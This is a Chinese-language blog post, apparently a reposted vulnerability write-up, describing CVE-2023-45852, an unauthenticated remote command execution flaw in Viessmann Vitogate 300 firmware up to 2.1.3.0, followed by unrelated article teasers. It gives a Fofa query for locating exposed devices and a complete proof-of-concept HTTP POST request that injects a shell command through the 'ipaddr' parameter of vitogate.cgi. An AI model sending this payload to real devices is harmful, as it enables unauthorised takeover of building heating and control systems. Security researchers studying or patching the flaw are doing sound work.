Viessmann Vitogate远程代码执行漏洞(CVE-2023-45852)

news/2024/7/8 0:55:33

Viessmann Vitogate远程代码执行漏洞(CVE-2023-45852)

  • 免责声明
  • 漏洞描述
  • 漏洞影响
  • 漏洞危害
  • 网络测绘
    • Fofa: body="vitogate 300"
  • 漏洞复现
    • 1. 构造poc
    • 2. 执行命令
      • 查看用户

免责声明

仅用于技术交流,目的是向相关安全人员展示漏洞利用方式,以便更好地提高网络安全意识和技术水平。
任何人不得利用该文章进行非法攻击和侵犯他人的隐私和财产权利。一旦发生任何违法行为,责任自负。
该文章仅用于授权测试,任何未经授权的测试均属于非法行为。请在法律许可范围内使用。
作者对使用该文章导致的任何直接或间接损失不承担任何责任。使用此文章的风险由使用者自行承担。

漏洞描述

Viessmann Vitogate是Viessmann公司的一个智能化控制系统。

漏洞影响

Viessmann Vitogate_300_Firmware <= 2.1.3.0,Viessmann Vitogate_300

漏洞危害

该漏洞源于允许未经身份验证的攻击者绕过身份验证,并通过put方法的ipaddr参数执行任意命令。

网络测绘

Fofa: body=“vitogate 300”

在这里插入图片描述在这里插入图片描述

漏洞复现

1. 构造poc

POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: application/json
Content-Length: 76

{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"1;id"}}

2. 执行命令

查看用户

在这里插入图片描述### 查看用户文件
在这里插入图片描述


http://lihuaxi.xjx100.cn/news/1745786.html

相关文章

嵌入式软件工程师面试题——2025校招社招通用(八)

说明&#xff1a; 面试题来源于网络书籍&#xff0c;公司题目以及博主原创或修改&#xff08;题目大部分来源于各种公司&#xff09;&#xff1b;文中很多题目&#xff0c;或许大家直接编译器写完&#xff0c;1分钟就出结果了。但在这里博主希望每一个题目&#xff0c;大家都要…

记Solaris下一个rac 异常hang故障

故障现象 rac 某一节点hang住&#xff0c;另一节点也不可用&#xff0c;重启hang住节点恢复。该故障出现了多次&#xff0c;平均1月出现一次。 故障原因 查看cssd.log 2021-05-22 13:53:50.565: [GIPCXCPT][5] gipclibMalloc: failed to allocate 10376 bytes, cowork ffff…

IDEA运行报错Command line is too long

报错内容: Error running ServiceStarter: Command line is too long. Shorten command line for ServiceStarter or also for Application default configuration. 解决&#xff1a; 1. 2. 3.

软件测试 —— 移动端测试

1. 移动端 指移动设备&#xff08;如智能手机、平板电脑、智能手表等&#xff09;上的操作系统和应用程序。移动设备具有便携性和多功能性&#xff0c;可以随时随地连接互联网&#xff0c;提供丰富的应用和服务。 2. 移动端应用分类 (1) 原生应用&#xff08;Native App&…

论文 辅助笔记:t2vec train.py

1 train 1.1 加载training和validation数据 def train(args):logging.basicConfig(filenameos.path.join(args.data, "training.log"), levellogging.INFO)设置了日志的基本配置。将日志信息保存到名为 "training.log" 的文件中日志的级别被设置为 INFO&…

[双指针] (四) LeetCode 18.四数之和

[双指针] (四) LeetCode 18.四数之和 文章目录 [双指针] (四) LeetCode 18.四数之和题目解析解题思路代码实现总结 18. 四数之和 题目解析 (1) 从一个数组中找一个目标值target (2) target nums[a] nums[b] nums[c] nums[d] 解题思路 和上一道题三数之和一样, 我们把四…

Linux 中 initcall 机制详解

源码基于&#xff1a;Linux 5.4 0. 前言 Linux 对驱动程序提供静态编译进内核和动态加载两种方式&#xff0c;当采用静态方式时&#xff0c;开发者如果想要在系统中启动这个驱动通常调用类似 xxx_init() 接口。 最直观的做法&#xff1a;开发者试图添加一个驱动初始化程序时&…

【机器学习】几种常用的机器学习调参方法

在机器学习中&#xff0c;模型的性能往往受到模型的超参数、数据的质量、特征选择等因素影响。其中&#xff0c;模型的超参数调整是模型优化中最重要的环节之一。超参数&#xff08;Hyperparameters&#xff09;在机器学习算法中需要人为设定&#xff0c;它们不能直接从训练数据…